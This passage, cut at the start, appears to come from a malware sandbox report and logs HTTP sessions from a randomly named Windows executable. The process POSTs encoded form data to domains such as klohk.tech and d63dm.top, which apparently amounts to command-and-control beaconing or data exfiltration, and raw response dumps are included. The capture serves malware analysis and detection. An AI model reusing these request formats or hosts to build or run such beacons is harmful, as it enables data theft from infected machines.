3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49728	198.252.98.54	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:13.601231098 CET	558	OUT	GET /y3dc/?NjHpTfh=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tRERiLp2a4b9y8ndNk9xgL1b55xNz3Mr8JVSoFw+CxXG/tVnA==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.migorengya8.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:46:14.897952080 CET	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Fri, 22 Nov 2024 13:46:14 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49729	103.224.182.242	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:21.224944115 CET	801	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 7a 75 51 52 45 34 53 66 75 52 79 78 62 65 66 58 75 77 35 6d 2f 6e 59 37 44 63 52 59 36 78 35 39 56 78 53 71 58 57 45 69 2b 2f 78 57 4f 34 4e 4b 4e 6d 6a 56 79 6f 73 79 49 34 34 37 48 4e 35 61 47 51 76 4e 6b 48 59 76 47 2b 6b 7a 62 6c 70 72 70 68 4d 77 75 41 36 38 4f 54 76 74 38 5a 41 61 77 37 31 52 63 47 36 58 32 2b 49 51 61 62 30 56 32 6b 74 6f 54 70 33 79 72 4c 78 76 69 7a 4e 76 67 53 79 30 44 73 47 5a 76 34 6b 51 39 42 66 36 52 39 35 79 6d 67 70 72 59 77 65 51 7a 64 68 4c 46 6f 76 7a 30 66 4d 6b 62 2b 4d 74 65 50 33 71 68 6a 41 2b 63 37 4c 7a 65 33 4d 3d Data Ascii: NjHpTfh=NEUQnq9Sab7mzuQRE4SfuRyxbefXuw5m/nY7DcRY6x59VxSqXWEi+/xWO4NKNmjVyosyI447HN5aGQvNkHYvG+kzblprphMwuA68OTvt8ZAaw71RcG6X2+IQab0V2ktoTp3yrLxvizNvgSy0DsGZv4kQ9Bf6R95ymgprYweQzdhLFovz0fMkb+MteP3qhjA+c7Lze3M=
Nov 22, 2024 14:46:22.583301067 CET	871	IN	HTTP/1.1 200 OK date: Fri, 22 Nov 2024 13:46:22 GMT server: Apache set-cookie: __tad=1732283182.2614315; expires=Mon, 20-Nov-2034 13:46:22 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49730	103.224.182.242	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:23.882862091 CET	821	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 228 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 77 4e 59 52 49 2f 47 66 35 68 79 32 65 65 66 58 37 67 35 69 2f 6e 45 37 44 66 64 32 39 45 4a 39 56 51 69 71 55 58 45 69 39 2f 78 57 47 59 4d 41 44 47 69 62 79 6f 78 52 49 36 63 37 48 4f 46 61 47 52 66 4e 6b 32 59 73 58 2b 6b 78 58 46 70 70 30 78 4d 77 75 41 36 38 4f 53 4c 54 38 5a 6f 61 78 4b 46 52 63 6e 36 55 2f 65 49 50 64 62 30 56 79 6b 74 6b 54 70 32 56 72 4b 64 4a 69 31 42 76 67 58 65 30 44 65 75 57 32 49 6b 65 69 78 65 39 63 63 6b 33 6f 79 6c 46 52 68 36 67 2f 38 46 71 45 65 65 5a 75 39 45 69 59 2b 6b 47 65 4d 66 63 6b 55 64 57 47 59 62 44 41 67 5a 50 48 47 46 65 31 62 75 6d 31 35 64 53 53 79 6c 7a 4b 6f 72 5a Data Ascii: NjHpTfh=NEUQnq9Sab7mwNYRI/Gf5hy2eefX7g5i/nE7Dfd29EJ9VQiqUXEi9/xWGYMADGibyoxRI6c7HOFaGRfNk2YsX+kxXFpp0xMwuA68OSLT8ZoaxKFRcn6U/eIPdb0VyktkTp2VrKdJi1BvgXe0DeuW2Ikeixe9cck3oylFRh6g/8FqEeeZu9EiY+kGeMfckUdWGYbDAgZPHGFe1bum15dSSylzKorZ
Nov 22, 2024 14:46:25.163870096 CET	871	IN	HTTP/1.1 200 OK date: Fri, 22 Nov 2024 13:46:24 GMT server: Apache set-cookie: __tad=1732283184.1678705; expires=Mon, 20-Nov-2034 13:46:24 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49731	103.224.182.242	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:26.546710014 CET	1838	OUT	POST /3m3e/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1244 Cache-Control: no-cache Origin: http://www.klohk.tech Referer: http://www.klohk.tech/3m3e/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 4e 45 55 51 6e 71 39 53 61 62 37 6d 77 4e 59 52 49 2f 47 66 35 68 79 32 65 65 66 58 37 67 35 69 2f 6e 45 37 44 66 64 32 39 45 42 39 56 69 61 71 53 45 73 69 38 2f 78 57 61 49 4d 4e 44 47 6a 48 79 6f 6f 59 49 36 51 46 48 49 42 61 47 7a 58 4e 69 43 73 73 4f 75 6b 78 66 6c 70 71 70 68 4d 70 75 41 71 34 4f 53 62 54 38 5a 6f 61 78 4a 64 52 65 32 36 55 35 65 49 51 61 62 30 6e 32 6b 73 7a 54 74 54 71 72 4b 70 2f 2b 56 68 76 67 32 79 30 51 37 61 57 2b 49 6b 63 68 78 65 66 63 63 6f 38 6f 79 35 7a 52 68 4f 5a 2f 37 78 71 45 6f 66 6c 79 63 56 2b 43 4d 49 50 52 65 72 6c 73 45 52 45 59 34 6a 76 4a 51 6b 73 4b 78 4e 74 33 4b 79 76 6e 6f 34 5a 42 45 4a 2b 47 75 65 58 61 79 78 49 51 41 78 73 57 64 49 73 2f 6e 4c 54 6f 6e 52 58 6f 63 35 53 43 57 42 6b 41 72 42 41 68 39 38 48 7a 63 30 49 47 32 47 62 59 4d 49 43 78 49 52 67 4a 50 72 51 67 6b 44 42 46 6b 44 74 5a 75 5a 4e 51 58 51 62 51 64 51 6f 48 76 2b 51 58 5a 68 4c 66 61 57 50 58 38 6e 37 4a 6e 75 55 7a 46 2f 4d 2b 4d 78 4e 69 6c 39 32 79 6c [TRUNCATED] Data Ascii: NjHpTfh=NEUQnq9Sab7mwNYRI/Gf5hy2eefX7g5i/nE7Dfd29EB9ViaqSEsi8/xWaIMNDGjHyooYI6QFHIBaGzXNiCssOukxflpqphMpuAq4OSbT8ZoaxJdRe26U5eIQab0n2kszTtTqrKp/+Vhvg2y0Q7aW+Ikchxefcco8oy5zRhOZ/7xqEoflycV+CMIPRerlsEREY4jvJQksKxNt3Kyvno4ZBEJ+GueXayxIQAxsWdIs/nLTonRXoc5SCWBkArBAh98Hzc0IG2GbYMICxIRgJPrQgkDBFkDtZuZNQXQbQdQoHv+QXZhLfaWPX8n7JnuUzF/M+MxNil92ylKcQorDdaB5X0oFi6ck2qtpV4nOzptq+AkBtIej8+XllOWliu1+DI78/UO/dwH/sGcGeOPSipCaQnrQOB1SOzkQioK4cxR++8ph4iGsvXi42Bm1mx90KnDCLgUdVURqMtX644Zp6imyVWuq1WGI4v9/JtZE8Go/ervCkfSfboo66tKOojIENU1RRGTA2Ge21XMg0EQDuNoWvjuTasnfE+V5jWmPLcIOEvB9tpKYeozvesFKcnXEO21zmjqPZRhd93+aH6dw5VVervG5EuylvJ9eRzHjChsSCZPVnBIBbvskaT4Vrd/0TEyqrn9rrN9z60okgpzYjyzNj3hU0V+3xmkP0AQPH03UdB2QWOadlhBWbS5w1witpzWzDJmZTjSuOX9CBO8kMtYX6rHWaHbYugApgxHYi2QEGaWUuEXWGM6aYgcythBqy7fQxz/z2NELDyWVPFUIWBncX9Z8/wZFzvfE3a3n7R1ebBZ8sDbSKm1gMjZ8Yc4S2rnh2hCmnfsjxvqOUa2zcZe4ZccVEMZXcHl6Y7d6VUqvTXtAZ4Jp+jRZf7zMECyKsO6iEuR2YoDBYKfd2mdlPCJ5ki9zkDHFGuniH/fNr1TYWAfmuVzxHYPZQ2PUArnO/odbIhRYZ/9paITeCDIv2WJQaUvAl464VkT5fEoMq54nYANs [TRUNCATED]
Nov 22, 2024 14:46:27.865304947 CET	871	IN	HTTP/1.1 200 OK date: Fri, 22 Nov 2024 13:46:27 GMT server: Apache set-cookie: __tad=1732283187.3556796; expires=Mon, 20-Nov-2034 13:46:27 GMT; Max-Age=315360000 vary: Accept-Encoding content-encoding: gzip content-length: 576 content-type: text/html; charset=UTF-8 connection: close Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 54 4d 6f db 30 0c 3d c7 bf 82 70 0f 76 d0 d5 4e 11 6c 03 12 cb 3b 0c 18 b0 61 87 a1 dd ce 83 22 d3 b1 12 5b f2 24 26 69 50 e4 bf 97 72 dc 8f 6d c0 3a 5d 6c 51 ef 91 ef d1 94 8b 86 ba b6 8c 8a 06 65 c5 0f d2 d4 62 b9 6d 6d b3 cd 08 55 53 e4 e7 48 54 78 e5 74 4f 40 c7 1e 45 4c 78 47 f9 46 ee e5 39 1a 83 77 4a c4 f9 c6 e7 b5 36 6b 74 bd d3 86 72 ad 6b cc 3a 6d b2 8d 8f cb 22 3f 63 5f 4b 55 46 7b e9 c0 61 a5 1d 2a fa d9 6a b3 05 01 49 43 d4 2f f2 fc 70 38 64 cf ea f2 79 37 c7 fc 43 b2 8c a2 3c 87 5b 24 90 40 ba 43 bb 23 b0 35 cc 67 33 e8 b4 72 d6 a3 b2 a6 f2 40 16 f0 0e d5 8e 90 81 8f 25 40 d7 40 0d c2 0b e5 d0 3b db 69 cf 31 a9 5b 0f b5 75 e0 6d 87 4c 91 de 9a a8 de 19 45 da 1a 3e 6e db 95 54 db 9b 31 55 3a 85 fb 68 72 d0 a6 b2 87 ac b5 4a 06 54 e6 b0 6f a5 c2 f4 37 4f 97 49 dd 8b ab f7 c9 74 19 9d a2 88 dc 31 30 59 a5 27 70 95 fb 3e 9a 10 e0 91 c6 4d fa 67 b5 37 c1 20 f3 27 a1 61 75 ff 6d d4 2c e0 d3 b3 93 2f b7 ac 43 56 e9 7d 67 8d 26 cb a1 f5 22 c8 f6 78 0a cc 27 56 [TRUNCATED] Data Ascii: TMo0=pvNl;a"[$&iPrm:]lQebmmUSHTxtO@ELxGF9wJ6ktrk:m"?c_KUF{a*jIC/p8dy7C<[$@C#5g3r@%@@;i1[umLE>nT1U:hrJTo7OIt10Y'p>Mg7 'aum,/CV}g&"x'V4d=ekd;8L]K~,`'<#j9TRnz>v2!>cUsCCW_yae+n4k5'`bxjlk/a&aI=?.X,$4k0OV[h0C^\;DLl?n)1;y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49732	103.224.182.242	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:29.195655107 CET	551	OUT	GET /3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF14svyhH44dt HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.klohk.tech Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 22, 2024 14:46:30.465423107 CET	1236	IN	HTTP/1.1 200 OK date: Fri, 22 Nov 2024 13:46:30 GMT server: Apache set-cookie: __tad=1732283190.6287925; expires=Mon, 20-Nov-2034 13:46:30 GMT; Max-Age=315360000 vary: Accept-Encoding content-length: 1529 content-type: text/html; charset=UTF-8 connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 6b 6c 6f 68 6b 2e 74 65 63 68 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6a 73 2f 66 69 6e 67 65 72 70 72 69 6e 74 2f 69 69 66 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 76 61 72 20 72 65 64 69 72 65 63 74 5f 6c 69 6e 6b 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 6c 6f 68 6b 2e 74 65 63 68 2f 33 6d 33 65 2f 3f 4e 6a 48 70 54 66 68 3d 41 47 38 77 6b 63 31 32 44 34 4f 34 71 66 45 33 64 63 32 5a 70 55 4b 50 52 5a 79 70 32 67 52 75 2b 30 6b 36 45 74 46 62 35 55 6c 75 66 51 2b 6c 56 58 46 52 2f 39 67 65 50 70 51 6a 43 47 4b 61 2f 5a 73 51 4a 34 4d 59 4b 63 4a 6d 41 78 72 66 6a 6c 34 63 4e 66 74 58 53 6c 70 76 70 6d 51 59 6f 78 71 52 44 67 4c 34 30 34 77 71 79 4b 51 4b 52 30 71 75 35 63 59 70 66 72 38 30 2b 46 64 73 52 51 3d 3d 26 31 [TRUNCATED] Data Ascii: <html><head><title>klohk.tech</title><script type="text/javascript" src="/js/fingerprint/iife.min.js"></script><script type="text/javascript">var redirect_link = 'http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF14svyhH44dt&';// Set a timeout of 300 microseconds to execute a redirect if the fingerprint promise fails for some reasonfunction fallbackRedirect() {window.location.replace(redirect_link+'fp=-7');}try {const rdrTimeout = setTimeout(fallbackRedirect, 300);var fpPromise = FingerprintJS.load({monitoring: false});fpPromise.then(fp => fp.get()).then(result => { var fprt = 'fp='+result.visitorId;clearTimeout(rdrTimeout);window.location.replace(redirect_link+fprt);});} catch(err) {fallbackRedirect();}</script><style> body { background:#101c36 } </style></head><body bgco
Nov 22, 2024 14:46:30.465539932 CET	565	IN	Data Raw: 6c 6f 72 3d 22 23 66 66 66 66 66 66 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 27 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 6b 6c 6f 68 Data Ascii: lor="#ffffff" text="#000000"><div style='display: none;'><a href='http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49733	154.23.184.218	80	1240	C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:46:36.529112101 CET	798	OUT	POST /rqnz/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Host: www.d63dm.top Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 208 Cache-Control: no-cache Origin: http://www.d63dm.top Referer: http://www.d63dm.top/rqnz/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A3-A10 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 4e 6a 48 70 54 66 68 3d 32 34 4a 4f 4f 58 4a 38 65 34 68 4e 61 66 6f 73 42 6b 32 31 64 2f 51 45 53 44 4e 43 6a 79 46 4c 57 38 33 37 47 37 77 48 33 2f 44 44 68 7a 43 5a 52 31 4e 38 43 58 74 67 2b 67 4b 2b 34 4f 6d 37 74 73 71 65 33 62 4d 68 4f 62 49 33 38 50 76 7a 37 46 61 55 6a 61 30 2f 62 66 53 47 56 39 2b 2b 57 4a 42 6b 68 4a 6f 2b 6f 39 56 78 76 7a 65 39 72 68 70 67 36 2b 76 4b 4f 68 61 50 62 54 79 73 4b 35 70 5a 4f 73 74 32 32 42 38 69 54 45 4d 68 44 48 55 7a 4f 53 4a 4c 6a 59 6c 65 52 44 49 6d 50 38 77 2b 68 6a 4e 69 5a 45 6d 6b 7a 50 52 6e 32 55 7a 47 71 71 6b 6b 32 32 49 47 73 68 37 59 5a 44 4b 47 42 47 30 3d Data Ascii: NjHpTfh=24JOOXJ8e4hNafosBk21d/QESDNCjyFLW837G7wH3/DDhzCZR1N8CXtg+gK+4Om7tsqe3bMhObI38Pvz7FaUja0/bfSGV9++WJBkhJo+o9Vxvze9rhpg6+vKOhaPbTysK5pZOst22B8iTEMhDHUzOSJLjYleRDImP8w+hjNiZEmkzPRn2UzGqqkk22IGsh7YZDKGBG0=
